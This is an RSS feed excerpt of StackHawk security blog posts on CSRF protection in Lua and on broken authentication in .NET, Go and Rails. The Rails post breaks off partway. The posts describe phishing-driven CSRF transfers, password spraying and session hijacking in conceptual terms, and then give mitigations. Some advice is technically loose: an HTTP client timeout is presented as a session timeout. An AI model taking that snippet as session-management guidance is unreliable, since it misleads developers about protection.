Users have to ask if they should tap on that button and you, the developer, have to make sure your buttons are safe. Are you protecting your users from &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;&lt;u&gt;Cross-site request forgery (CSRF)&lt;/u&gt;&lt;/a&gt;? &lt;/p&gt;&lt;p&gt;CSRF is a type of attack where a hacker figures out how to get a user to execute a dangerous web query. This attack is also known as XSRF, Session Riding, Hostile Linking, and several other names. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s talk about CSRF attacks and how you can protect your Lua web applications from them. &lt;/p&gt;&lt;h2&gt;What Is CSRF?&lt;/h2&gt;&lt;p&gt;An attacker uses cross-site request forgery when they harness a user&amp;#39;s entitlements over a web session to submit a malicious request. The attacker can work around the usual security limitations by deceiving the user into sending a forged query like a POST, PUT or GET that deletes or steals data or even submits a dangerous funds transfer. &lt;/p&gt;&lt;p&gt;Like many of the most effective attacks, CSRF often relies on social engineering. These hacks only work when a user clicks on a dangerous link. One effective way to make that happen is to trick a user into clicking on a link in an email or a chat. &lt;/p&gt;&lt;p&gt;These links trigger damaging transactions on a vulnerable site if the user has a session open. So, for example, if a link in an email points to a website that the user has already logged in to, the attack will take advantage of a valid session cookie. &lt;/p&gt;&lt;p&gt;These attacks are depressingly common. Websites can&amp;#39;t protect themselves from social engineering, so developers are left to figure out how to blunt CSRF hacks without sacrificing user convenience and satisfaction. &lt;/p&gt;&lt;p&gt;So, it&amp;#39;s crucial that you ensure that you protect your web application from CSRF attacks. &lt;/p&gt;&lt;h2&gt;CSRF Attacks&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s look at two examples of CSRF attacks. Then we&amp;#39;ll see how you can protect your Lua web code from them. &lt;/p&gt;&lt;h3&gt;Please Confirm&lt;/h3&gt;&lt;p&gt;Here&amp;#39;s an example of an HTML email. &lt;/p&gt;&lt;p&gt;This is a barebones example, but imagine a hacker sending this email with branding lifted from a well-known payment service. (We don&amp;#39;t want to do that here for obvious reasons.) The attacker has purchased an email list and generates and sends a message for each email. They&amp;#39;re gambling that at least a few targets will have an open session with the service and aren&amp;#39;t paying close attention. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s look at the link. &lt;/p&gt;&lt;p&gt;Rather than confirming a transaction, this link initiates a transfer to someone else! The link sends a GET request with parameters that send a lot of money to a user named &lt;b&gt;techbro.&lt;/b&gt; &lt;/p&gt;&lt;p&gt;How can a user protect themselves from this attack? They can pay attention to when and why their bank and payment services send emails and what they look like. They can read emails closely and look for incorrect branding and awkward grammar. They might look at links before clicking on them if they&amp;#39;re really savvy. &lt;/p&gt;&lt;p&gt;But most users don&amp;#39;t do these things, and it only takes one for an attack to succeed. &lt;/p&gt;&lt;p&gt;It&amp;#39;s up to developers to make sure that an attack like this doesn&amp;#39;t work. Let&amp;#39;s look at one more before we talk about solutions. &lt;/p&gt;&lt;h3&gt;Bad Form&lt;/h3&gt;&lt;p&gt;The previous example needed a user to click on a link to work. When they did, it sent a rogue GET request to the bank. What if the email had an embedded form instead? &lt;/p&gt;&lt;p&gt;Here&amp;#39;s the source for a new version of the email attack.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The email looks exactly the same, but instead of waiting for the user to click on a link, it sends a POST request as soon as the HTML renders! For good measure, the link has an attack, too. A similar threat might attach the confirmation link to a form with hidden values instead of concealing it. There are many ways to fashion an attack using HTML mail and HTML chat messages. &lt;/p&gt;&lt;p&gt;These examples are rudimentary and, as mentioned above, not formatted like more sophisticated phishing attacks. But it&amp;#39;s not hard to imagine attacks with &amp;quot;trade dress&amp;quot; stolen from popular banking and shopping websites. &lt;/p&gt;&lt;p&gt;So, how do we protect our users? &lt;/p&gt;&lt;h2&gt;Lua CSRF Protection&lt;/h2&gt;&lt;p&gt;The most common approach to protecting a web application from CSRF attacks is generating a token and returning it to users in page responses. If subsequent requests don&amp;#39;t include the token, the application knows that the request is unsafe. &lt;/p&gt;&lt;p&gt;There are three approaches you can take with CSRF tokens. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Synchronized&lt;/b&gt; tokens are unique for each client session. This means that the server has to maintain state information for each session, collate CSRF tokens with them, and dispose of tokens when sessions are destroyed or expire.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Encrypted&lt;/b&gt; tokens are shared across all clients. These tokens contain a value that the application encrypts with a private key so only they can verify that the token is legitimate.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Origin headers&lt;/b&gt; put the CSRF token in a header that the server expects to see echoed back on requests.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;So how can you use these techniques with Lua applications? &lt;/p&gt;&lt;h3&gt;Write Your Own&lt;/h3&gt;&lt;p&gt;You can write code to generate a token, embed it in pages, and ensure that it&amp;#39;s echoed back to your application when you require it. This requires extra work and extensive testing, but it gives you complete control over the solution. Lua has tools for adding tokens to web pages or writing headers, so you can pick your approach. &lt;/p&gt;&lt;p&gt;This &lt;a href=&quot;https://gist.github.com/loveshell/7480950&quot;&gt;&lt;u&gt;GitHub Gist&lt;/u&gt;&lt;/a&gt; has sample code for a solution that runs in Nginx&amp;#39;s Lua module. &lt;/p&gt;&lt;h3&gt;Nginx Lua&lt;/h3&gt;&lt;p&gt;If you&amp;#39;re running Nginx&amp;#39;s &lt;a href=&quot;https://github.com/openresty/lua-nginx-module#readme&quot;&gt;&lt;u&gt;Lua module&lt;/u&gt;&lt;/a&gt; or the &lt;a href=&quot;https://openresty.org/en/&quot;&gt;&lt;u&gt;OpenResty&lt;/u&gt;&lt;/a&gt; web platform, you can use Nginx&amp;#39;s &lt;a href=&quot;https://docs.nginx.com/nginx-app-protect/configuration-guide/configuration/&quot;&gt;&lt;u&gt;web application firewall&lt;/u&gt;&lt;/a&gt;. It has many features to protect your applications from attacks, including CSRF. Nginx generates an origin header that acts as a CSRF token. You can configure Nginx to require this header for specific URLs, such as POST, PUT and DELETE actions. &lt;/p&gt;&lt;p&gt;Or, you can use the gist linked above. &lt;/p&gt;&lt;h3&gt;Apache Lua&lt;/h3&gt;&lt;p&gt;Apache doesn&amp;#39;t have any built features for CSRF protection. There are a few third-party modules, but they are older and don&amp;#39;t appear to be actively supported. If you&amp;#39;re using Apache, you&amp;#39;ll need to write your own code. &lt;/p&gt;&lt;h3&gt;Lapis&lt;/h3&gt;&lt;p&gt;Lapis has built-in CSRF &lt;a href=&quot;https://leafo.net/lapis/reference/utilities.html#csrf-protection&quot;&gt;&lt;u&gt;protection features&lt;/u&gt;&lt;/a&gt;. It will generate a shared cryptographic token and check for it on web requests.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Protecting Your Web Applications&lt;/h2&gt;&lt;p&gt;This post looked at what CSRF attacks are and the danger they present to you and your web users. We examined a pair of examples. Both examples demonstrated how dangerous fraudulent emails are and how easy it is to wage a CSRF attack against an unprotected application. Then we looked at typical protections against a CSRF attack and how you can either code your own or take advantage of CSRF protection from Nginx and Lapis. Unfortunately, Apache applications have to risk a third-party module or code their own CSRF tokens. &lt;/p&gt;&lt;p&gt;Cross-site request forgeries are dangerous attacks, but you can protect your applications from them with well-documented tools and processes. While you&amp;#39;re taking a close look at application security, check out &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; and see how it can help protect your users from attacks like CSRF! There&amp;#39;s a free plan with unlimited scans that you can try today! &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Eric Goebelbecker. &lt;/i&gt;&lt;a href=&quot;http://ericgoebelbecker.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Eric&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; has worked in the financial markets in New York City for 25 years, developing infrastructure for market data and financial information exchange (FIX) protocol networks. He loves to talk about what makes teams effective (or not so effective!).&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[.NET Broken Authentication Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/net-broken-authentication-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In this article, we&amp;#39;ll address broken authentication, explore the intricacies of authentication, and show you how to provide appropriate security mechanisms for your website.&lt;/p&gt;&lt;p&gt;First, I&amp;#39;ll briefly discuss what broken authentication is. Then I&amp;#39;ll use examples to illustrate what broken authentication attacks look like and which vulnerabilities they target. Finally, I&amp;#39;ll offer some mitigating strategies to address those vulnerabilities.&lt;/p&gt;&lt;p&gt;But before getting started, I want to clarify that this article is for .NET developers. With that out of the way, let&amp;#39;s jump right in.&lt;/p&gt;&lt;h2&gt;What Is Broken Authentication?&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;&amp;quot;Broken authentication&amp;quot; is an umbrella term that describes several vulnerabilities that attackers can &lt;b&gt;exploit to hijack your system and impersonate users.&lt;/b&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;An authentication mechanism ensures that only a verified user can access information and privileges on a web application. However, it&amp;#39;s &amp;quot;broken&amp;quot; when an attacker successfully bypasses the process and impersonates the user. Essentially, the attacker skips the login security and gains access to the privileges the hacked user has.&lt;/p&gt;&lt;p&gt;These vulnerabilities go hand-in-hand with poor session management and credential management. Attackers can disguise themselves as a user by hijacking a session ID or stealing login credentials. This kind of breach enables attackers to compromise passwords, keys or session tokens, user account information, and other details to assume user identities.&lt;/p&gt;&lt;h2&gt;How Broken Authentication Happens&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s look at exactly how attackers can hijack your system.&lt;/p&gt;&lt;h3&gt;Broken Authentication Through Poor Credential Management&lt;/h3&gt;&lt;p&gt;Given a poor implementation of credential management, an attacker can hijack your authentication mechanism to gain access to the system.&lt;/p&gt;&lt;p&gt;There are various ways poor credential management allows attackers to achieve this. One is by allowing weak passwords like &amp;quot;12345&amp;quot; or &amp;quot;password.&amp;quot; When your system allows users to create weak passwords, an attacker can use password-cracking techniques like brute force, rainbow tables, and dictionaries.&lt;/p&gt;&lt;p&gt;Another way you might be allowing attackers to wreak havoc on your security is by using weak cryptography. When your system uses inadequate encryption mechanisms like base64 and hashing algorithms like SHA1 or MD5, your user credentials will be exposed during a breach.&lt;/p&gt;&lt;h3&gt;Broken Authentication Through Poor Session Management&lt;/h3&gt;&lt;p&gt;Whenever users interact with your website, your application issues session IDs and records their interactions. As stated by the &lt;a href=&quot;https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication&quot;&gt;&lt;u&gt;OWASP broken authentication&lt;/u&gt;&lt;/a&gt; recommendations, this session ID is equivalent to your original login credentials. So, if an attacker were to steal your session ID, he can essentially impersonate your identity.&lt;/p&gt;&lt;p&gt;This kind of breach is called session hijacking.&lt;/p&gt;&lt;h2&gt;Examples of Broken Authentication&lt;/h2&gt;&lt;p&gt;Below are some examples of broken authentication attacks in detail.&lt;/p&gt;&lt;h4&gt;Password Spraying&lt;/h4&gt;&lt;p&gt;The term &amp;quot;password spraying&amp;quot; refers to the use of simple and weak passwords, such as &amp;quot;12345&amp;quot; or &amp;quot;password,&amp;quot; by attackers attempting to breach secure accounts.&lt;/p&gt;&lt;h4&gt;Credential Stuffing&lt;/h4&gt;&lt;p&gt;Whenever a breach happens on a system with a large user base with improperly encrypted credentials, users are vulnerable to credential stuffing.&lt;/p&gt;&lt;p&gt;Credential stuffing is the use of credentials obtained from other breaches. This approach assumes that a significant number of users will probably be using stolen credentials on different platforms.&lt;/p&gt;&lt;h4&gt;Session Hijacking&lt;/h4&gt;&lt;p&gt;You make your users susceptible to hijacking and impersonation when using session IDs. For example, suppose a user forgets to log off. In that case, any other person can hijack their session and act like the victim on your system. Additionally, if the same ID is issued before and after authentication, it could potentially open the door to an attack called session fixation.&lt;/p&gt;&lt;h4&gt;Session ID URL&lt;/h4&gt;&lt;p&gt;If your system implements session ID by appending it to the URL, any individual who can gain access to that URL can impersonate the user&amp;#39;s identity. Attackers can do this by hijacking insecure Wi-Fi connections, man in the middle attacks, or simple eavesdropping at the address bar.&lt;/p&gt;&lt;h4&gt;Phishing Attacks&lt;/h4&gt;&lt;p&gt;Finally, users can be susceptible to phishing attacks that send links to websites that look legitimate, convincing them to cede their login credentials. This last attack is quite notorious and challenging to address as it relies squarely on the user&amp;#39;s capacity to spot them.&lt;/p&gt;&lt;h2&gt;Addressing Broken Authentication Vulnerabilities&lt;/h2&gt;&lt;p&gt;In order to address the vulnerabilities above, you need to follow best practices from the Open Web Application Security Project, or OWASP. Thankfully, you can activate most of these recommendations in ASP.NET Core using the configuration file in your project.&lt;/p&gt;&lt;h4&gt;Secure Password Storage&lt;/h4&gt;&lt;p&gt;You must encrypt, hash, and salt all passwords. This protects users in case of a breach and slows down brute-force attacks and other malicious attempts. Thankfully, if you&amp;#39;re using the ASP.NET Core Identity framework, you already have secure password hashes and a unique salt mechanism implemented. ASP.NET Core Identity uses the PBKDF2 hashing function for passwords, and it generates a random salt per user.&lt;/p&gt;&lt;h4&gt;Don&amp;#39;t Allow Weak Passwords&lt;/h4&gt;&lt;p&gt;You must require all users to fulfill specific requirements when specifying their passwords. For example, setting passwords to a particular length and requiring special characters and letters as well as numbers helps prevent credential theft. Consequently, your system will reject passwords that don&amp;#39;t meet the requirements.&lt;/p&gt;&lt;p&gt;You can do this by modifying the IdentityOptions method like so:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Keep in mind that some of these specifications protect users better than others, but they might also do the opposite if users won&amp;#39;t comply with them.&lt;/p&gt;&lt;h4&gt;Add a Strict Credential Recovery Process&lt;/h4&gt;&lt;p&gt;I recommend that you implement a strict process for credential recovery. This should involve several verification checks and steps that make it hard and costly for attackers to abuse.&lt;/p&gt;&lt;p&gt;You can achieve this by adding the following lines to the previous code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;Implement Breached Password Protection&lt;/h4&gt;&lt;p&gt;A breached password protection mechanism will lock the accounts of users whose passwords have been compromised. In addition, you can configure this mechanism to return access when users change their passwords. This way, you guarantee that the users have a chance to prevent damage if attackers steal their passwords.&lt;/p&gt;&lt;p&gt;You can implement this using&lt;a href=&quot;https://github.com/andrewlock/PwnedPasswords&quot;&gt; &lt;u&gt;a Git project called PwnedPassword&lt;/u&gt;&lt;/a&gt; that will provide an updated repository of breached passwords to cross-validate in real time.&lt;/p&gt;&lt;h4&gt;Regulate Session Length&lt;/h4&gt;&lt;p&gt;All web applications must end user sessions after a certain period of inactivity. The length of this period depends on the type of application. For example, a streaming platform might require a long period of inactivity, while a sensitive banking website should have a short time limit.&lt;/p&gt;&lt;p&gt;To regulate the length of a session, add the following lines to the project config file.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;Improve Session Management&lt;/h4&gt;&lt;p&gt;It&amp;#39;s imperative that your platform provides individual session IDs after every successful authentication attempt. In addition, your system must invalidate old session IDs to prevent hijacking as soon as a session ends.&lt;/p&gt;&lt;h4&gt;Don&amp;#39;t Use Session ID URLs&lt;/h4&gt;&lt;p&gt;In all cases, you must secure web URLs with SSL without including the session ID.&lt;/p&gt;&lt;h4&gt;Multifactor Authentication&lt;/h4&gt;&lt;p&gt;Multifactor authentication (MFA) is one of the most robust protection mechanisms at your disposal. MFA requires an additional credential to verify a user&amp;#39;s identity. An example would be a one-time password (OTP) mailed or messaged to the user.&lt;/p&gt;&lt;h4&gt;Phishing&lt;/h4&gt;&lt;p&gt;It&amp;#39;s vital to provide regular education for users about the potential risks of phishing attacks and weak passwords. Sending monthly or quarterly emails reminding users to be vigilant and cautious will usually suffice.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;It&amp;#39;s your job to implement robust and comprehensive security measures to ensure the safety of your assets and the data of your users. However, it&amp;#39;s challenging to keep up with the ever-evolving threats on the web. That&amp;#39;s why we recommend Dynamic Application Security Testing (DAST) from StackHawk. DAST runs security tests against a running application in real time, finding vulnerabilities your team introduced as well as exploitable open-source vulnerabilities like broken authentication.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;u&gt;You can read more about it and get started for free.&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Golang Broken Authentication Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/golang-broken-authentication-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Security is important in the software industry. With appropriate security, you can prevent information theft and other cybercrimes. One important aspect of security is to verify the identity of all entities so that intruders can’t get access into the application. &lt;/p&gt;&lt;p&gt;This is exactly what authentication is all about. It ensures users can&amp;#39;t access information stored in the application until they can prove that they&amp;#39;re who they claim to be. In this article, we&amp;#39;ll explain authentication, how to prevent broken authentication, and go over some examples of broken authentication in software, and in particular, in applications built with Golang. &lt;/p&gt;&lt;h2&gt;What is Authentication?&lt;/h2&gt;&lt;p&gt;Authentication is the process of verifying the identity of a user. When a user tries to access information in an application, they have to prove that they&amp;#39;re truly who they claim to be. This is important because, most information stored in an application&amp;#39;s database is sensitive, such as users’ personal data. &lt;/p&gt;&lt;p&gt;Therefore, you must prevent intruders from getting hold of sensitive information. Users get access to general information in the application without needing to verify their identity. However, they must provide a means to verify their identity when they try to access sensitive information. For example, when a user tries to access their personal dashboard, they&amp;#39;ll need to provide login details like a username, pin, or password. &lt;/p&gt;&lt;p&gt;We shouldn&amp;#39;t confuse authentication with identification, as they&amp;#39;re different things. With authentication we want to verify that a user is who they claim to be. In contrast, identification simply asks who the user claims to be. For instance, when a user provides their username, the system checks if the user entered a valid username.  However, the system then authenticates the user by matching the username and the password the user provides to ascertain the user actually owns the identity. &lt;/p&gt;&lt;p&gt;What could go wrong if authentication is not properly done? Let&amp;#39;s discuss broken authentication in applications and in software built with Golang. &lt;/p&gt;&lt;h2&gt;What Is Broken Authentication?&lt;/h2&gt;&lt;p&gt;If developers don&amp;#39;t implement authentication properly, intruders can get access to the application. This way, they can manipulate the system and pose as different users. &lt;/p&gt;&lt;p&gt;Broken authentication involves exploiting vulnerabilities in an application in order to pose as another user. Here, the intruder acts as a user access the user’s privileges and attack additional users. &lt;/p&gt;&lt;h2&gt;Broken Authentication in Golang&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://go.dev/&quot;&gt;&lt;u&gt;Golang&lt;/u&gt;&lt;/a&gt; is a statically typed programming language mainly used for building microservices and the backend of applications. Like in most applications, authentication is done by the backend of Golang applications, and the frontend handles validation. &lt;/p&gt;&lt;p&gt;In the sections that follow, we&amp;#39;ll explore examples of broken authentication in Golang, how to prevent them, and the how broken authentication effects Golang applications. &lt;/p&gt;&lt;h3&gt;Examples of Broken Authentication in Golang&lt;/h3&gt;&lt;p&gt;First, let’s explore some different types of broken authentication vulnerabilities in Golang applications. &lt;/p&gt;&lt;h3&gt;Session ID Vulnerability&lt;/h3&gt;&lt;p&gt;We Can also call this type of vulnerability session fixation. According to OWASP, (&lt;a href=&quot;https://owasp.org/&quot;&gt;&lt;u&gt;Open Web Application Security Project&lt;/u&gt;&lt;/a&gt;), this vulnerability allows an attacker to get a valid session ID, manipulate a user to authenticate themself with the session ID, and hijack the validated session with the knowledge they’ve gained of the session ID. &lt;/p&gt;&lt;p&gt;This type of attack is only possible because the system doesn&amp;#39;t assign a new session ID when authenticating users. Therefore, the attacker can use the existing session ID. &lt;/p&gt;&lt;p&gt;An example of session ID attack involves an attacker sending a link with a session ID a user. The user then provides their login details for authentication. Because the attacker already made a connection to the application&amp;#39;s server, the server doesn&amp;#39;t create a new session ID, allowing the attacker to pose as the user. Attackers can also exploit session ID by implementing client side scripting.&lt;/p&gt;&lt;h3&gt;Predictable Login Details&lt;/h3&gt;&lt;p&gt;We can also call this type of vulnerability &lt;a href=&quot;https://owasp.org/www-community/attacks/Password_Spraying_Attack&quot;&gt;&lt;u&gt;password spraying&lt;/u&gt;&lt;/a&gt;. This is a type of brute force attack where the intruder quickly tries to guess a user&amp;#39;s password. &lt;/p&gt;&lt;p&gt;If the user makes use of a simple and predictable password, an intruder can guess their password easily. The attacker repeatedly tries to guess a user’s password, then moves to another user if they don&amp;#39;t succeed. &lt;/p&gt;&lt;h3&gt;Unprotected Login Details&lt;/h3&gt;&lt;p&gt;To avoid attacks or exploitation of an application&amp;#39;s database, software developers encrypt login details before storing them. This way, if an attacker gets hold of the database, they can&amp;#39;t decipher user login details. &lt;/p&gt;&lt;p&gt;Applications that don&amp;#39;t encrypt login details are vulnerable to attack. If an attacker gets hold of the application&amp;#39;s database, they can easily log on to any user’s account. Attackers can also exploit login details of users if they&amp;#39;re sent over to an application unencrypted. &lt;/p&gt;&lt;h3&gt;Session Hijacking&lt;/h3&gt;&lt;p&gt;Session hijacking is a type of attack that occurs when an attacker takes over a user&amp;#39;s web session after the user successfully logs into their account. To accomplish this, the intruder compromises session tokens. &lt;/p&gt;&lt;p&gt;Session tokens are encrypted strings that differentiate user connections to servers. When an attacker can predict session tokens, or log on using stolen tokens, they can access user accounts. &lt;/p&gt;&lt;p&gt;We shouldn&amp;#39;t mistake session hijacking for session fixation. In session hijacking, an attacker hijacks a user session after the user logs in. In session fixation, the attacker launches an attack before the user logs in by tricking them into clicking on a stolen session ID. &lt;/p&gt;&lt;h3&gt;Rainbow Table Attacks&lt;/h3&gt;&lt;p&gt;Although software developers take the extra step of encrypting user login details, they&amp;#39;re not safe from attackers. This is because attackers can exploit an application&amp;#39;s database if the database is exposed. Attackers can decipher password hashes using the rainbow table method. &lt;/p&gt;&lt;p&gt;A &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Rainbow_table&quot;&gt;&lt;u&gt;rainbow table&lt;/u&gt;&lt;/a&gt; is a table of reversed hashes. An attacker who has a rainbow table can collect password hashes and decode them using the table. &lt;/p&gt;&lt;h2&gt;Prevention of Broken Authentication&lt;/h2&gt;&lt;p&gt;In this section, we&amp;#39;ll explore the methods to prevent the different broken authentication vulnerabilities described above. &lt;/p&gt;&lt;h3&gt;Session Timeout&lt;/h3&gt;&lt;p&gt;A session timeout is an event that can cause a session to expire. When a session expires, the ID becomes invalid and the user needs to present their credentials for authentication again. &lt;/p&gt;&lt;p&gt;Developers can implement a session timeout programmatically so that users can&amp;#39;t continue with an existing session after some designated length of inactivity. This prevents intruders from reusing an existing session ID. Developers can implement a session timeout in &lt;a href=&quot;https://pkg.go.dev/net/http&quot;&gt;&lt;u&gt;HTTP clients&lt;/u&gt;&lt;/a&gt; by specifying timeout in &lt;b&gt;http.Client&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;&lt;code&gt;var httpClient = &amp;amp;http.Client{
  Timeout: time.Second * 10,
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Locking Accounts&lt;/h3&gt;&lt;p&gt;Locking an account after a number of unsuccessful authentications is a broken authentication prevention method. Since a brute force attack involves an intruder repeatedly guessing a user&amp;#39;s password many times, locking accounts can stop an intruder from accessing a user account. &lt;/p&gt;&lt;p&gt;Another method is to lock authentication attempts from device cookies. This way, attackers can&amp;#39;t access user&amp;#39;s information by manipulating cookies. Developers can also require users to provide stronger passwords during registration. Using a &lt;a href=&quot;https://en.m.wikipedia.org/wiki/CAPTCHA&quot;&gt;&lt;u&gt;CAPTCHA&lt;/u&gt;&lt;/a&gt; can also reduce brute force attacks, since brute force attacks are mostly executed by computer programs, which can’t successfully evade a CAPTCHA. &lt;/p&gt;&lt;h3&gt;Adding Salt to Hashes&lt;/h3&gt;&lt;p&gt;Incorporating salt into hashes adds extra security to an application. Salts add a unique string of characters to passwords before hashing. This prevents attackers who use the rainbow table method from deciphering passwords. For instance, developers can add random salt to password hashes using Golang&amp;#39;s &lt;a href=&quot;http://godoc.org/golang.org/x/crypto/bcrypt&quot;&gt;&lt;u&gt;bcrypt&lt;/u&gt;&lt;/a&gt;. An example of how to use bcrypt is shown below: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Implementing authentication is an important aspect of software development. For this reason, IT firms hire security experts to keep make sure their products have secure authentication. &lt;/p&gt;&lt;p&gt;Although implementing authentication and eradicating vulnerabilities may seem like a lot of work, software tools can make it seamless. For instance, with tools like &lt;a href=&quot;https://www.stackhawk.com/product/#request-a-demo&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;, developers can easily monitor and fix vulnerabilities that attackers can exploit.   &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Ukpai Ugochi. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/hannydevelop&quot;&gt;&lt;u&gt;&lt;i&gt;Ukpai&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer (MEVN), and she contributes to FOSS in her free time. She loves to share knowledge about her transition from marine engineering to software development to encourage people who love software development and don&amp;#39;t know where to begin. &lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rails Broken Authentication Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rails-broken-authentication-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In terms of cybersecurity, authentication and authorization are two of our platforms&amp;#39; most significant security aspects. But, as we know, protecting our applications and our users&amp;#39; data is a battle of many fronts. No doors should be left unprotected.&lt;/p&gt;&lt;p&gt;Nevertheless, you&amp;#39;ll spend most of your time and effort securing your website&amp;#39;s main avenue of access. That&amp;#39;s why understanding a subject like broken authentication is critical to offering a robust level of protection.&lt;/p&gt;&lt;p&gt;This article aims to explore the subject of broken authentication in the context of Ruby on Rails.&lt;/p&gt;&lt;p&gt;We&amp;#39;ll briefly examine the concepts of authentication and help you get a good grasp on providing suitable security.&lt;/p&gt;&lt;p&gt;To achieve this, we&amp;#39;ll first learn what broken authentication is. Then, we&amp;#39;ll use some simple examples to help us characterize what a broken authentication attack might look like in the wild and what vulnerabilities it targets.&lt;/p&gt;&lt;p&gt;Finally, we&amp;#39;ll provide you with some mitigating strategies to help you address the vulnerabilities that you might find.&lt;/p&gt;&lt;p&gt;Alright, let&amp;#39;s jump right in.&lt;/p&gt;&lt;h2&gt;Defining Broken Authentication&lt;/h2&gt;&lt;p&gt;First, let&amp;#39;s define what the term broken authentication means.&lt;/p&gt;&lt;p&gt;In simple terms, broken authentication is an umbrella used for several vulnerabilities that attackers can exploit to hijack our systems and impersonate other users.&lt;/p&gt;&lt;p&gt;We know that the job of an authentication mechanism in our platform is to ensure that only a verified user can access the information and privileges on the web application. However, it&amp;#39;s called &amp;quot;broken&amp;quot; when an attacker successfully bypasses the process and impersonates the user on the application. Essentially, this attacker can skip the login security and gain access to all the privileges the hacked user owns.&lt;/p&gt;&lt;p&gt;To be more specific, broken authentication refers to the vulnerabilities or weaknesses inherent in an online platform or application&amp;#39;s authentication mechanisms. We can usually find these vulnerabilities in poor session management and credential management.&lt;/p&gt;&lt;p&gt;Both of these are classified as broken authentication because attackers can disguise themselves as users, either by hijacking a session ID or stealing the login credentials. In addition, this breach enables attackers to compromise passwords, keys or session tokens, user account information, and other details to assume user identities.&lt;/p&gt;&lt;h2&gt;Broken Authentication in Action&lt;/h2&gt;&lt;p&gt;So, we know that authentication attacks mainly target our credential or session management. But, how does this actually happen?&lt;/p&gt;&lt;p&gt;Well, there are many ways, really. But for the purpose of brevity, we&amp;#39;ll be exploring the cases where you implement poor management mechanisms and policies.&lt;/p&gt;&lt;h3&gt;Credential Management&lt;/h3&gt;&lt;p&gt;Implementing poor credential management mechanisms and policies is a potential avenue for attackers to gain access to your systems.&lt;/p&gt;&lt;p&gt;Security policies that allow the use of weak passwords like &amp;quot;12345&amp;quot; or &amp;quot;password&amp;quot; are one way to weaken our credential management&amp;#39;s security.&lt;/p&gt;&lt;p&gt;In such a case, an attacker only needs simple password-cracking techniques like brute force, rainbow tables, dictionaries, and enough time to breach your security and access your system.&lt;/p&gt;&lt;p&gt;Additionally, the use of weak cryptography to secure your users&amp;#39; credentials is a significant loophole in your entire security strategy.&lt;/p&gt;&lt;p&gt;The use of inadequate encryption mechanisms like base64 and hashing algorithms like SHA1 or MD5 provide little to no protection in a database breach, exposing credentials and sensitive data.&lt;/p&gt;&lt;h3&gt;Session Management&lt;/h3&gt;&lt;p&gt;As we know, whenever a user interacts with your website, the server application provides them with a session ID for session management and records their interactions.&lt;/p&gt;&lt;p&gt;As stated by the&lt;a href=&quot;https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication&quot;&gt; &lt;u&gt;OWASP broken 